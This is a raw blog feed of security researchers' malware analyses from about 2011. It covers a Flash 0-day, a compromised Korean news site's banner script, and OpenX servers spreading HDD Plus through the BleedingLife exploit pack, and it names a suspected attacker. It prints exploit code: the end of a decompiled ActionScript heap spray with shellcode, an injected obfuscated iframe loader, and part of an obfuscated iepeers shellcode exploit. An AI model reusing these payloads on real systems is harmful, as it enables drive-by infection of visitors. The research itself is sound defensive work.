this.s.writeInt(3301229185);         this.s.writeInt(2407976071);         this.s.writeInt(2592588493);         this.s.writeInt(2177012118);         this.s.writeInt(2207291074);         this.s.writeInt(3348531087);         this.s.writeInt(2462563985);         this.s.writeInt(2491517581);         this.s.writeInt(2442579079);         this.s.writeInt(2592587979);         this.s.writeInt(3420588775);         this.s.writeInt(488447361);         this.s.writeInt(2407976071);         this.s.writeInt(2592596490);         this.s.writeInt(471604509);         this.s.writeInt(2375190412);         this.s.writeInt(3800621597);         this.s.writeInt(3035259610);         this.s.writeInt(177662050);         this.s.writeInt(3658192615);         this.s.writeInt(1658456471);         this.s.writeInt(4083391207);         this.s.writeInt(1920103026);         this.s.writeInt(2531944733);         this.s.writeInt(3077115503);         this.s.writeInt(2733055234);         this.s.writeInt(182313698);         this.s.writeInt(3793838810);         this.s.writeInt(177662050);         this.s.writeInt(3658192615);         this.s.writeInt(1658456471);         this.s.writeInt(4083391207);         this.s.writeInt(1920103026);         this.s.writeInt(2516749034);         this.s.writeInt(3907183215);         this.s.writeInt(2733055234);         this.s.writeInt(183886562);         this.s.writeInt(3793816307);         this.s.writeInt(3806519898);         this.s.writeInt(4091799138);         this.s.writeInt(552526345);         this.s.writeInt(3770294538);         this.s.writeInt(454892829);         this.s.writeInt(3106202970);         this.s.writeInt(1807606660);         this.s.writeInt(631629597);         this.s.writeInt(35762537);         this.s.writeInt(1051822242);         this.s.writeInt(2330129122);         this.s.writeInt(3803539876);         this.s.writeInt(3993672221);         this.s.writeInt(488487457);         this.s.writeInt(3014945175);         this.s.writeInt(3731461836);         this.s.writeInt(2598442932);         this.s.writeInt(1771356897);         this.s.writeInt(399584171);         this.s.writeInt(2739921191);         this.s.writeInt(3510234460);         this.s.writeInt(4074255510);         this.s.writeInt(3928173029);         this.s.writeInt(3778585097);         this.s.writeInt(333053335);         this.s.writeInt(96233916);         this.s.writeInt(3336650628);         this.s.writeInt(1777248617);         this.s.writeInt(3170820415);         this.s.writeInt(1776708065);         this.s.writeInt(659143867);         this.s.writeInt(554313759);         this.s.writeInt(488493206);         this.s.writeInt(1945003837);         this.s.writeInt(1297711467);         this.s.writeInt(867040326);         this.s.writeInt(2249045380);         this.s.writeInt(4011702825);         this.s.writeInt(3653493474);         this.s.writeInt(3806461952);         this.sc_len = this.s.length;         trace("jp");         trace(this.s.length);         this.j = 3084 - this.sc_len;         this.i = 0;         while (this.i &amp;lt; this.j) {           // label           this.s.writeByte(144);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.s.endian = Endian.LITTLE_ENDIAN;         this.s.writeInt(2008857395);         this.s.writeInt(3435973836);         this.s.writeInt(2008833749);         this.s.writeInt(3435973836);         this.s.writeInt(2008813848);         this.s.writeInt(2008892611);         this.s.writeInt(3435973836);         this.s.writeInt(2008885784);         this.s.writeInt(202113024);         this.s.writeInt(202113024);         this.s.writeInt(8192);         this.s.writeInt(64);         this.s.writeInt(202116560);         this.s.writeInt(0);         this.s.writeInt(202116164);         this.s.writeInt(0);         this.s.writeInt(0);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.i = 0;         while (this.i &amp;lt; this.sc_len) {           // label           this.s.writeInt(1676697940);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.s.writeInt(1676697940);         this.s.writeInt(1676697940);         this.s.writeInt(1676680900);         this.s.endian = Endian.BIG_ENDIAN;         this.j = 65536 - this.s.length;         this.i = 0;         while (this.i &amp;lt; this.j / 4) {           // label           this.s.writeInt(305419896);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.i = 0;         while (this.i &amp;lt; 16) {           // label           this.s2.writeBytes(this.s, 0, this.s.length);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         trace(this.s2.length);         this.i = 0;         while (this.i &amp;lt; 176) {           // label           this.s3 = new ByteArray();           this.s3.writeBytes(this.s2, 0, this.s2.length);           trace(this.s3.length);           this.a.push(this.s3);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.r_jp = this.hexToBin(this.t);         this.ldr_jp = new Loader();         this.ldr_jp.loadBytes(this.r_jp);       } else {         trace("I am " + Capabilities.language);         trace("failed");       } // end else if       stop();       return;     } // end function   } } &lt;/pre&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-3130578018114440178?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/3130578018114440178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/04/newest-adobe-flash-0-day-used-in-new.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3130578018114440178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3130578018114440178'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/04/newest-adobe-flash-0-day-used-in-new.html' title='Newest Adobe flash 0-day used in new drive-by download variation: drive-by cache, targets human rights website'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-XOmOpI6Cnss/Tal8CCO7JkI/AAAAAAAACMo/ZkW_ZWsFiNg/s72-c/drive_by_cache_1.PNG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-2972665411143527531</id><published>2011-01-24T09:35:00.000-08:00</published><updated>2011-05-17T09:00:26.095-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Malvertising or drive-by web malware attack?</title><content type='html'>Recently we've been thinking about how to generate some statistics for malvertising.&lt;br /&gt;&lt;br /&gt;Sometimes it's tricky, because nowadays more and more drive-by downloads try to hide themselves by disguising as coming from ad servers.&lt;br /&gt;&lt;br /&gt;Here's an example. Recently our scanners reported that betanews.net, a Korean news website ranking 671 in Korea, was serving live drive-by downloads.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_hELDi5B8zOI/TT28uEerpBI/AAAAAAAACLE/v2QHCfSYpKI/s1600/2011-01-25_015347.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_hELDi5B8zOI/TT28uEerpBI/AAAAAAAACLE/v2QHCfSYpKI/s1600/2011-01-25_015347.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5565812214162236434" /&gt;&lt;/a&gt;&lt;br /&gt;Well, it indeed is, as we write. &lt;br /&gt;&lt;br /&gt;In its index page, www.betanews.net contains the following javascript, which displays ad banners:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="/js/banner.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;/js/banner.js was compromised and the following malicious script was inserted at the end of the file:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;if(document.cookie.indexOf('xxoo')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='xxoo=Yes;path=/;expires='+expires.toGMTString;document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%64%2E%69%6C%69%6B%65%63%31%69%63%6B%2E%63%6F%6D%2F%61%64%2E%61%73%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E"));}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Which, after decoding,writes the following:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&lt;br /&gt;&amp;lt;iframe src="http://ad.ilikec1ick.com/ad.asp" width=0 height=0&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This "ilikec1ick.com" domain apparently tries to resemble "ilikeclick.com", which is &lt;a href="http://home.ilikeclick.com/hope/company/introduce.html"&gt;a Korean ad network&lt;/a&gt;:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TT3CZrnoRZI/AAAAAAAACLM/4PGPyKkBka0/s1600/ilikeclick.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TT3CZrnoRZI/AAAAAAAACLM/4PGPyKkBka0/s1600/ilikeclick.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5565818460961260946" /&gt;&lt;/a&gt;&lt;br /&gt;http://ad.ilikec1ick.com/ad.asp contains the javascript exploit:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.write("&amp;lt;bu"+"tton i"+"d='mon' o"+"ncl"+"ick"+"='sc"+"lick();' S"+"TYLE='DISP"+"LAY"+":NONE'&amp;gt;&amp;lt;/b"+"utton&amp;gt;");&lt;br /&gt;var eLFGhbswV="%x9090%";var ZyOWqionK="x9090%x5858%x5858%x10EB%x4B5B";var LoLYVDGGQ="%xC933%xB966%x03B8%x3480";var cXbQEhvHS="%xBD0B%xFAE2%x05EB%xEBE8%";var UpiNKTfoo="xFFFF";var GIMIByGgI="%x54FF%xBEA3%xBDBD%xD9E2";var xsBZzgBPo="%x8D1C%";var lXOdHiLAV="xBDBD";var ZzEEOlPoD="%x36BD%xB1FD%xCD36%x1";var SbYhcedXP="0A1%xD53";var xngsAiUQI="6%x36B5%xD74A%xE4A";var KGhCigcMg="C%x0355%xBDBF%x";var iWWZubmWc="2DBD%x455F%x8ED5%x";var pefyOgmGu="BD8F%xD5BD%xCEE8%xCF";var kEqSfhtbi="D8%x36E9%xB1FB%x0";var AObPGCHfF="355%xBDBC%x36BD%xD755%xE4B";var &lt;br /&gt;(omitted)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is an &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806"&gt;iepeers (CVE-2010-0806)&lt;/a&gt; exploit; after successful exploitation, the browser downloads and executes http://weniz.co.kr/mall/updir/cs/pds.exe.&lt;br /&gt;&lt;br /&gt;The exploit, ad.asp, triggers &lt;a href="http://www.virustotal.com/file-scan/report.html?id=b1c91eb80ab45dc1414874875420455444dbbe1d71710a85f2970e2297230b77-1295893679"&gt;7/32 on VirusTotal&lt;/a&gt;, and the malware, pds.exe, triggers &lt;a href="https://www.virustotal.com/file-scan/report.html?id=0004083a90da5500c4f5283562a5dc3d6d54b47a82771d556cb7c44a85f7821a-1295877989"&gt;27/42&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;OK, and so, is this a drive-by download attack, or a malvertising attack?&lt;br /&gt;&lt;br /&gt;Very similar to the &lt;a href="http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html"&gt;previous "adshufffle.com" malvertising incident&lt;/a&gt;, this incident also involves a malicious domain "ilikec1ick.com" which resembles "ilikeclick.com".&lt;br /&gt;&lt;br /&gt;So should this be categorized as a malvertising incident? I would say no. I don't think the attacker registered ilikec1ick.com and then tricked betanews.net to take on his ad. I think in this case, he simply hacked into betanews.com and modified their banner.js file. However, in order to prolong the lifespan of this drive-by download operation, he's registered his malicious domain to resemble an ad network, hoping that this would reduce the chance of someone noticing something funny.&lt;br /&gt;&lt;br /&gt;This is one of the challenges we currently face at generating malvertising statistics. Although malvertising, mass sql injections, mass hosting compromises, mass wordpress injections, and individual hacks such as this case, all often end up serving drive-by downloads (Web malware), the threats should be categorized differently from a "point of entry" standpoint. However, doing so requires quite some manual labor.&lt;br /&gt;&lt;br /&gt;Wayne&lt;br /&gt;&lt;br /&gt;PS: Last time we were able to identify &lt;a href="http://blog.armorize.com/2010/12/about-hdd-plus-spreading-also-through.html"&gt;the individual&lt;/a&gt; behind the "adshufffle.com" malvertising attack. Well, how about for this example? We attempted a try.&lt;br /&gt;&lt;br /&gt;The domain ilikec1ick.com was registered on Jan 19th by "gxiboy@gmail.com". This fellow posted &lt;a href="http://www.zazaar.com/archiver/tid-1558.html"&gt;an ad (in Chinese) last month&lt;/a&gt;:&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;接单(拿SHELL 数据库 等等)&lt;br /&gt;&lt;br /&gt;接单&lt;br /&gt;地区：韩国 台湾 美国 等等(除国内)&lt;br /&gt;类型：数据库（各种）,webshell,渗透项目测试等等&lt;br /&gt;要求:只接3000以上的单子 小单勿扰&lt;br /&gt;找长期合作伙伴 无需定金,拿到后验证过付钱.&lt;br /&gt;联系方式GT [email]Gxiboy@Gmail.com[/email] QQ:9 9 8 3 8 0 8 &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I'll translate it:&lt;br /&gt;Hope to acquire projects (get shell, database, etc)&lt;br /&gt;Region: Korea, Taiwan, US, etc, but no domestic targets (mainland China)&lt;br /&gt;Scope of work: all types of databases, webshell, pentesting&lt;br /&gt;Requirement: Fees start at no less than 450USD / project&lt;br /&gt;&lt;br /&gt;Looking for long-term partnerships, no up-front payment required, pay after you get what you want.&lt;br /&gt;&lt;br /&gt;And then there's his email and QQ. From his QQ, he's a 25-year-old male nicknamed "All night prince," and based out of China. I think he's based out of Guangdong because most of the websites that he operate, for example, ktdown.com and www.tianqiyugao.net, are all located in Guangdong.&lt;br /&gt;&lt;br /&gt;The "services" that he offers matches with our speculation--that he broke into betanews.net and injected the drive-by iframe.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-2972665411143527531?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/2972665411143527531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/01/malvertising-or-drive-by-web-malware.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/2972665411143527531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/2972665411143527531'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/01/malvertising-or-drive-by-web-malware.html' title='Malvertising or drive-by web malware attack?'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_hELDi5B8zOI/TT28uEerpBI/AAAAAAAACLE/v2QHCfSYpKI/s72-c/2011-01-25_015347.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-3960560512750569190</id><published>2010-12-17T11:08:00.000-08:00</published><updated>2011-12-05T00:03:08.797-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='openx'/><category scheme='http://www.blogger.com/atom/ns#' term='HDD Plus'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>About HDD Plus spreading also through OpenX vulnerabilities, and a guy behind all this</title><content type='html'>(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;(Part 1 of the story is &lt;a href="http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html"&gt;here&lt;/a&gt;)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TQwF1kAlypI/AAAAAAAACJg/6My1Sky6OUw/s1600/HDD_Tools_OpenX_Hack.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px;" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TQwF1kAlypI/AAAAAAAACJg/6My1Sky6OUw/s1600/HDD_Tools_OpenX_Hack.png" alt="" id="BLOGGER_PHOTO_ID_5551818858398337682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In our &lt;a href="http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html"&gt;last post&lt;/a&gt;, we described how HDD Plus spread via DoubleClick and MSN's networks. Two reasons caused us to write this follow-up:&lt;br /&gt;&lt;br /&gt;A. Many were curious to know who is behind all this, and&lt;br /&gt;B. It's still spreading fast, through exploiting OpenX vulnerabilities.&lt;br /&gt;&lt;br /&gt;Before we go into details, here's a summary:&lt;br /&gt;1. HDD Plus (or HDD Tools) is spreading through compromised OpenX banner systems.&lt;br /&gt;2. The BleedingLife v2 exploit pack is used; antivirus detection against the exploit is low (2/42). The following exploits are supported: &lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3960560512750569190" org="" bin="" name="CVE-2010-2884"&gt;CVE-2010-2884&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1297"&gt;CVE-2010-1297&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188"&gt;CVE-2010-0188&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0842"&gt;CVE-2010-0842&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3552"&gt;CVE-2010-3552&lt;/a&gt;, and &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-2992"&gt;CVE-2008-2992&lt;/a&gt;.&lt;br /&gt;3. Antivirus detection against the actual malware (HDD Plus) is about 50%.&lt;br /&gt;4. Exploitation success rate against one of the many victim sites, takeatime.com, is about 28%, which is very high. The exploits have been reliably written.&lt;br /&gt;5. We believe Mr. Slevin, based in Moscow, is involved in the spread of HDD Plus, and is actively working on newer means to facilitate its spread.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Spreading via OpenX vulnerabilities]&lt;/b&gt;&lt;br /&gt;OpenX has had a number of well known vulnerabilities, and staring end of July we saw a rise in incidents where attackers broke into OpenX installations and &lt;a href="http://creators.ning.com/forum/topics/help-google-is-saying-that-my?commentId=4244211:Comment:246598"&gt;injected malicious iframes&lt;/a&gt; pointing to drive-by downloads. We all remember the &lt;a href="http://www.thinq.co.uk/2010/9/13/pirate-bay-cracked-spread-malware/"&gt;The Pirate Bay-OpenX incident&lt;/a&gt; back in September (also see &lt;a href="http://www.h-online.com/open/news/item/Web-sites-distribute-malware-via-hacked-OpenX-servers-1079099.html"&gt;here&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Soon after the incident, OpenX &lt;a href="http://blog.openx.org/09/security-update/"&gt;released a patch&lt;/a&gt; on Sep 14th, acknowledging that versions prior to 2.8.7 are vulnerable.&lt;br /&gt;&lt;br /&gt;Our scanners started to see a rise in OpenX iframe injections starting beginning of August. And then on Sep 28th, we were challenged by &lt;a href="https://blogs.verisign.com/ssl-blog/2010/08/network_solutions_malcode_widg.php"&gt;our partner Symantec-Verisign&lt;/a&gt; to justify some of our results. Our scanners had correct results, and the incidents were precisely the same--unpatched OpenX installations being injected with iframes.&lt;br /&gt;&lt;br /&gt;After our &lt;a href="http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html"&gt;last post&lt;/a&gt;, we began to realize that HDD Plus began to spread via the same method, changing its name to "HDD Tools." As victims visit websites with infected OpenX installations, the infected OpenX banner page /www/delivery/ajs.php runs a javascript that generates an iframe pointing to an exploit server, a drive-by download process starts, and when successful, HDD Tools is silently installed onto the victim's machines and starts to display fake warning messages and conduct reboots, until the victims have purchased a license for nearly 80 USD.&lt;br /&gt;&lt;br /&gt;Let's use http://www.takeatime.com/ as an example. The website's OpenX installation is infected and serving malware as we write this blog. Below is a detailed video we made that illustrates the entire process from initial visit to final infection and malware call home:&lt;br /&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/WY6KfJHaYb4?fs=1&amp;amp;hl=zh_TW"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/WY6KfJHaYb4?fs=1&amp;amp;hl=zh_TW" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="385" width="480"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Note that in this case the exploit pack is BleedingLife v2, and you can actually access it from the exploit server at &lt;a href="http://expa42.co.cc/bl3/statistics/login.php"&gt;http://expa42.co.cc/bl3/statistics/login.php&lt;/a&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TQwNh_7YE6I/AAAAAAAACJw/igqmEnCmANA/s1600/BleedingLife_Login.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px;" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TQwNh_7YE6I/AAAAAAAACJw/igqmEnCmANA/s1600/BleedingLife_Login.png" alt="" id="BLOGGER_PHOTO_ID_5551827318388298658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;No password? That's fine, we can see the statistics here: &lt;a href="http://expa42.co.cc/bl3/statistics/update.php"&gt;http://expa42.co.cc/bl3/statistics/update.php&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;In order to have an idea of the infection stats of this particular exploit server, we have reset the statistics. 8 hours later, here's what we got:&lt;br /&gt;&lt;br /&gt;document.getElementById("visitors").innerHTML = 5635;&lt;br /&gt;document.getElementById("exploited").innerHTML = 1583;&lt;br /&gt;document.getElementById("percentage").innerHTML = 28.09;&lt;br /&gt;&lt;br /&gt;Which means, expa42.co.cc(which is only one of the many malicious domains) has about 700 visitors per hour, and 200 of them are successfully exploited (per hour ). The exploitation success rate is 28%, which is very high.&lt;br /&gt;&lt;br /&gt;Here's a list of exploits supported by Bleeding Life v2:&lt;br /&gt;&lt;br /&gt;1. Adobe Flash Player 10.x on Windows, Mac OS X, Linux, and Solaris, Android authplay.dll (&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3960560512750569190" org="" bin="" name="CVE-2010-2884"&gt;CVE-2010-2884&lt;/a&gt;)&lt;br /&gt;2. Adobe Flash Player before 8.x 9.x 10.x on Windows and Mac OS X crafted SWF content (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1297"&gt;CVE-2010-1297&lt;/a&gt;)&lt;br /&gt;3. Adobe Reader and Acrobat 8.x 9.x arbitrary code execution (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188"&gt;CVE-2010-0188&lt;/a&gt;)&lt;br /&gt;4. Oracle Java SE and Java for Business sound component (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0842"&gt;CVE-2010-0842&lt;/a&gt;)&lt;br /&gt;5. Oracle Java SE and Java for Business (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3552"&gt;CVE-2010-3552&lt;/a&gt;)&lt;br /&gt;6. Adobe Acrobat and Reader util.printf (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-2992"&gt;CVE-2008-2992&lt;/a&gt;)&lt;br /&gt;(Note no Microsoft exploits in this pack)&lt;br /&gt;&lt;br /&gt;Following are details of the exploitation process, using takeatime.com as example.&lt;br /&gt;&lt;br /&gt;The victim visits takeatime.com, and in the index page there's this OpenX banner tag:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;div class="banner"&amp;gt;&lt;br /&gt;&amp;lt;!--/* OpenX Javascript Tag v2.8.1 */--&amp;gt;&lt;br /&gt;&amp;lt;script type='text/javascript'&amp;gt;&amp;lt;!--//&amp;lt;![CDATA[&lt;br /&gt;var m3_u = (location.protocol=='https:'?'https://openx.takeatime.com/www/delivery/ajs.php':'http://openx.takeatime.com/www/delivery/ajs.php');&lt;br /&gt;var m3_r = Math.floor(Math.random()*99999999999);&lt;br /&gt;if (!document.MAX_used) document.MAX_used = ',';&lt;br /&gt;document.write ("&amp;lt;scr"+"ipt type='text/javascript' src='"+m3_u);&lt;br /&gt;document.write ("?zoneid=1");&lt;br /&gt;document.write ('&amp;amp;cb=' + m3_r);&lt;br /&gt;if (document.MAX_used != ',') document.write ("&amp;amp;exclude=" + document.MAX_used);&lt;br /&gt;document.write (document.charset ? '&amp;amp;charset='+document.charset : (document.characterSet ? '&amp;amp;charset='+document.characterSet : ''));&lt;br /&gt;document.write ("&amp;amp;loc=" + escape(window.location));&lt;br /&gt;if (document.referrer) document.write ("&amp;amp;referer=" + escape(document.referrer));&lt;br /&gt;if (document.context) document.write ("&amp;amp;context=" + escape(document.context));&lt;br /&gt;if (document.mmm_fo) document.write ("&amp;amp;mmm_fo=1");&lt;br /&gt;document.write ("'&amp;gt;&amp;lt;\/scr"+"ipt&amp;gt;");&lt;br /&gt;//]]&amp;gt;--&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;a href='http://openx.takeatime.com/www/delivery/ck.php?n=a06928b3&amp;amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'&amp;gt;&amp;lt;img src='http://openx.takeatime.com/www/delivery/avw.php?zoneid=1&amp;amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;amp;n=a06928b3' border='0' alt='' /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/noscript&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is because takeatime.com is using OpenX, and this tag causes the display of an OpenX banner ad on the front page. Note that it will cause the browser to load /www/delivery/ajs.php&lt;br /&gt;&lt;br /&gt;ajs.php is a common infection vector against unpatched OpenX installations. The browser fetches takeatime.com's ajs.php, which is:&lt;br /&gt;&lt;pre class="brush: html;"&gt;if(typeof org=="undefined"){var org=new Object();}if(typeof org.openx=="undefined"){org.openx=new Object();}if(typeof org.openx.util=="undefined"){org.openx.util=new Object();}if(typeof org.openx.SWFObjectUtil=="undefined"){org.openx.SWFObjectUtil=new Object();}org.openx.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=org.openx.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new org.openx.PlayerVersion(_5.toString().split(".")));}this.installedVer=org.openx.SWFObjectUtil.getPlayerVersion();if(!window.opera&amp;amp;&amp;amp;document.all&amp;amp;&amp;amp;this.installedVer.major&amp;gt;7){org.openx.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};org.openx.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&amp;amp;&amp;amp;navigator.mimeTypes&amp;amp;&amp;amp;navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="&amp;lt;embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&amp;amp;");if(_1c.length&amp;gt;0){_19+="flashvars=\""+_1c+"\"";}_19+="/&amp;gt;";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="&amp;lt;object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" 